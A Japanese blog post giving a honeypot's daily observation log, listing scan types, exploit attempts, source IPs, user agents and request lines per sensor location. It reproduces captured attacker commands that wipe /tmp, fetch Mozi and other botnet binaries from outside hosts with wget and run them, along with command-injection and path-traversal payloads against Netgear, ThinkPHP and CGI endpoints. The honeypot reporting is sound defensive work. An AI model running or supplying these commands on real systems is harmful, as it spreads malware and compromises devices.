2022/02/14 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/02/14分です。

特徴

共通

D-link製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
gbrmssによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
phpMyAdminへのスキャン行為

Location:JP

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
aiohttpによるスキャン行為
Laravelへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget http://202.14.123.9:41838/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
WordPress Pluginへのスキャン行為
WordPressへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget http://59.58.108.147:35866/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget http://103.217.123.240:44523/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為
110.242.68.4に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget net.joostjansen.ml/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：299 (前日比：128)
US：総アクセス数：251 (前日比：142)
UK：総アクセス数：148 (前日比：77)
SG：総アクセス数：299 (前日比：207)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.121.10	Romania
2	3.145.89.63	United States
1	23.95.100.141	United States
1	35.77.11.195	United States
1	40.71.94.224	United States
1	40.88.39.170	United States
1	45.129.56.200	Sweden
1	62.171.150.168	Germany
1	65.32.154.42	United States
1	85.202.169.113	Netherlands
2	104.41.143.95	United States
1	109.237.103.123	Russia
132	114.7.163.86	Indonesia
1	115.31.138.110	Thailand
1	120.86.255.11	China
17	135.125.244.48	France
1	139.162.145.250	Netherlands
1	143.198.105.75	United States
2	157.56.165.117	United States
2	157.56.176.57	United States
1	159.89.172.223	United States
4	164.52.24.179	China
4	173.255.252.153	United States
101	180.150.107.130	Australia
1	183.230.22.132	China
8	185.254.196.217	Ukraine
1	188.19.182.163	Russia
1	192.241.205.65	United States
1	192.241.213.108	United States
1	193.56.146.63	Russia
1	202.14.123.9	India
1	212.156.208.95	Turkey
3	222.186.19.207	China

UserAgent一覧

件数	UserAgent
17	`-`
1	`Go-http-client/1.1`
1	`Hello, world`
1	`MMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36`
101	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36`
132	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13`
1	`Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9`
32	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 zgrab/0.x`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`gbrmss/7.29.0`
1	`python-requests/2.27.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`\x03`
1		`\x16\x03\x01\x01\xfa\x01`
1		`\x16\x03\x01\x01`	\x01
1		`\x16\x03\x01\x02`
5		`\x16\x03\x01`
1	CONNECT	`ip[.]ws[.]126[.]net:443`	HTTP/1.1
35	GET	`/.env`	HTTP/1.1
1	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA/index.php?lang=en`	HTTP/1.1
3	GET	`/PMA2015/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2016/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2017/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2018/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2019/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2020/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2021/index.php?lang=en`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/_phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/config.php`	HTTP/1.1
1	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/index.php?lang=en`	HTTP/1.1
3	GET	`/admin/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/database/index.php?lang=en`	HTTP/1.1
1	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
2	GET	`/db/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/db/webadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
3	GET	`/jenkins/`	HTTP/1.1
1	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/index.php?lang=en`	HTTP/1.1
2	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/web/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/php-my-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7-english/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.1-english/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmy/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyAdmin/index.php?lang=en`	HTTP/1.1
101	GET	`/phpmyadmin/`	HTTP/1.1
1	GET	`/phpmyadmin2011/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2013/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2014/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2015/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2017/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2020/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/phppma/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2012/index.php?lang=en`	HTTP/1.1
3	GET	`/pma2013/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2014/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2017/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2020/index.php?lang=en`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
3	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
4	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//202[.]14[.]123[.]9:41838/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/shopdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/sqladmin/index.php?lang=en`	HTTP/1.1
3	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
2	GET	`http[:]//ip[.]ws[.]126[.]net/ipquery`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
1	t3	`12.2.1\n`

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.121.10	Romania
1	18.134.136.125	United States
1	20.127.108.142	United States
2	20.127.109.176	United States
19	40.113.204.245	United States
7	45.146.165.37	Russia
132	49.247.20.15	South Korea
11	51.79.29.48	Canada
1	59.58.108.147	China
1	61.219.11.151	Taiwan
2	62.171.150.168	Germany
1	67.207.89.123	United States
1	84.17.35.84	United Kingdom
1	85.202.169.113	Netherlands
1	88.247.165.131	Turkey
1	90.95.57.103	Romania
2	94.232.43.63	Russia
40	100.25.171.174	United States
2	104.41.143.95	United States
1	104.249.62.103	United States
1	107.189.10.196	United States
1	143.198.132.167	United States
1	147.182.149.249	United States
2	157.245.70.127	United States
1	162.142.125.220	United States
1	172.105.89.161	United States
1	172.245.20.217	United States
1	186.224.247.4	Brazil
1	192.241.209.22	United States
1	192.241.209.76	United States
1	192.241.209.157	United States
1	192.241.212.126	United States
2	194.127.179.9	United Kingdom
1	197.184.179.70	South Africa
1	205.185.117.203	United States
1	209.17.96.18	United States
1	209.17.97.42	United States
1	222.175.76.150	China
3	222.186.19.207	China

UserAgent一覧

件数	UserAgent
17	`-`
1	`Go-http-client/1.1`
1	`Hello, world`
3	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
132	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2`
4	`Mozilla/5.0 zgrab/0.x`
1	`gbrmss/7.29.0`
10	`python-requests/2.27.1`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`-`
2		`\x03`
1		`\x16\x03\x01\x01\xfb\x01`
2		`\x16\x03\x01`
1	CONNECT	`ip[.]ws[.]126[.]net:443`	HTTP/1.1
25	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/2phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA/index.php?lang=en`	HTTP/1.1
2	GET	`/PMA2012/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2013/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2014/index.php?lang=en`	HTTP/1.1
3	GET	`/PMA2016/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2018/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2019/index.php?lang=en`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
2	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/admin/config.php`	HTTP/1.1
1	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/images/cal_date_over.gif`	HTTP/1.1
1	GET	`/admin/phpmyadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
2	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/index.php`	HTTP/1.1
1	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/application/configs/application.ini`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/blog/wp-admin/install.php?step=1`	HTTP/1.1
1	GET	`/blog/wp-content/plugins/woocommerce/readme.txt`	HTTP/1.1
1	GET	`/blog/wp-content/plugins/wp-file-manager/readme.txt`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/database/index.php?lang=en`	HTTP/1.1
2	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
2	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
2	GET	`/db/index.php?lang=en`	HTTP/1.1
1	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
3	GET	`/db/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
1	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
3	GET	`/mysql/web/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
2	GET	`/php-my-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.0-english/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin1/index.php?lang=en`	HTTP/1.1
3	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
2	GET	`/phpMyAdmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmy/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin1/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
3	GET	`/phpmyadmin2013/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2015/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2021/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin4/index.php?lang=en`	HTTP/1.1
2	GET	`/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
2	GET	`/phppma/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2011/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2013/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2014/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2015/index.php?lang=en`	HTTP/1.1
4	GET	`/pma2016/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2017/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2018/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2019/index.php?lang=en`	HTTP/1.1
2	GET	`/pma2021/index.php?lang=en`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
4	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//59[.]58[.]108[.]147:35866/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
2	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
2	GET	`/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/user/login`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/phpunit.xml`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/wordpress/wp-content/plugins/woocommerce/readme.txt`	HTTP/1.1
1	GET	`/wp-admin/install.php?step=1`	HTTP/1.1
1	GET	`/wp-content/plugins/woocommerce/readme.txt`	HTTP/1.1
1	GET	`/wp-content/plugins/wp-file-manager/readme.txt`	HTTP/1.1
1	GET	`/wp-login.php`	HTTP/1.1
1	GET	`/wp/wp-admin/install.php?step=1`	HTTP/1.1
1	GET	`/wp/wp-content/plugins/woocommerce/readme.txt`	HTTP/1.1
1	GET	`/wp/wp-content/plugins/wp-file-manager/readme.txt`	HTTP/1.1
2	GET	`http[:]//ip[.]ws[.]126[.]net/ipquery`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
3	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	2.57.121.10	Romania
1	2.57.122.25	Romania
1	23.95.100.141	United States
2	45.137.21.134	Bangladesh
11	45.146.165.37	Russia
1	61.219.11.151	Taiwan
1	62.171.150.168	Germany
101	63.193.45.10	United States
1	64.227.182.58	United States
1	66.115.165.231	United States
1	67.129.123.70	United States
2	85.202.169.113	Netherlands
1	103.217.123.240	India
1	109.92.67.227	Serbia
1	112.124.106.120	China
1	115.31.138.110	Thailand
1	122.189.31.13	China
1	139.162.145.250	Netherlands
2	157.245.70.127	United States
1	162.142.125.210	United States
1	167.248.133.46	United States
1	172.104.138.223	United States
1	178.239.21.85	Poland
1	185.180.143.8	Portugal
1	185.220.100.241	Germany
1	192.241.211.78	United States
1	192.241.211.93	United States
1	192.241.213.86	United States
1	192.241.213.226	United States
1	196.188.141.100	Ethiopia
1	209.17.96.58	United States
1	219.157.35.145	China
3	222.186.19.207	China

UserAgent一覧

件数	UserAgent
19	`-`
1	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11`
101	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safari/6531.5.2`
4	`Mozilla/5.0 zgrab/0.x`
1	`gbrmss/7.29.0`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`-`
1		`\x16\x03\x01\x01\xfc\x01`
2		`\x16\x03\x01`
1	CONNECT	`ip[.]ws[.]126[.]net:443`	HTTP/1.1
1	GET	`/.env`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/config.php`	HTTP/1.1
2	GET	`/console/`	HTTP/1.1
2	GET	`/dispatch.asp`	HTTP/1.1
